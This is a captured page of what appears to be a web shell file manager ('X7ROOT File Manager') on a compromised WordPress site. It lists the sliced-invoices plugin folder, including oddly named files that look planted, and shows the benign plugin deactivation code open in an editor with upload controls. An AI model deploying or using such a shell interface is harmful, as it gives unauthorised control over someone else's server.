X7ROOT File Manager
Current Path:
/home/freights/public_html/wp-content/plugins/sliced-invoices/core
home
/
freights
/
public_html
/
wp-content
/
plugins
/
sliced-invoices
/
core
/
??
..
??
28z0517d
(9.03 KB)
??
class-sliced-activator.php
(7.08 KB)
??
class-sliced-deactivator.php
(947 B)
??
class-sliced-i18n.php
(1.13 KB)
??
class-sliced-loader.php
(4.47 KB)
??
class-sliced-semaphore.php
(3.3 KB)
??
class-sliced.php
(11.72 KB)
??
contact_messages
(0 B)
??
index.php
(26 B)
??
qFSDGhUBvY
(13.64 KB)
??
topics_directory
(6.79 KB)
Editing: class-sliced-deactivator.php
<?php // Exit if accessed directly if ( ! defined('ABSPATH') ) { exit; } /** * Fired during plugin deactivation * * @link http://slicedinvoices.com * @since 2.0.0 * * @package Sliced_Invoices */ class Sliced_Deactivator { /** * Deactivation tasks. * * Things to do when the Sliced Invoices plugin is deactivated. * * @version 3.9.0 * @since 2.0.0 */ public static function deactivate() { global $wpdb; // clear recurring tasks wp_clear_scheduled_hook( 'sliced_invoices_hourly_tasks' ); // flush rewrite rules flush_rewrite_rules(); // clear admin notices if ( is_callable( array( 'Sliced_Admin_Notices', 'remove_all_notices' ) ) ) { Sliced_Admin_Notices::remove_all_notices(); } delete_option( 'sliced_admin_notices' ); $wpdb->get_results( "DELETE FROM {$wpdb->options} WHERE option_name LIKE 'sliced_admin_notice_%'" ); } }
Upload File
Create Folder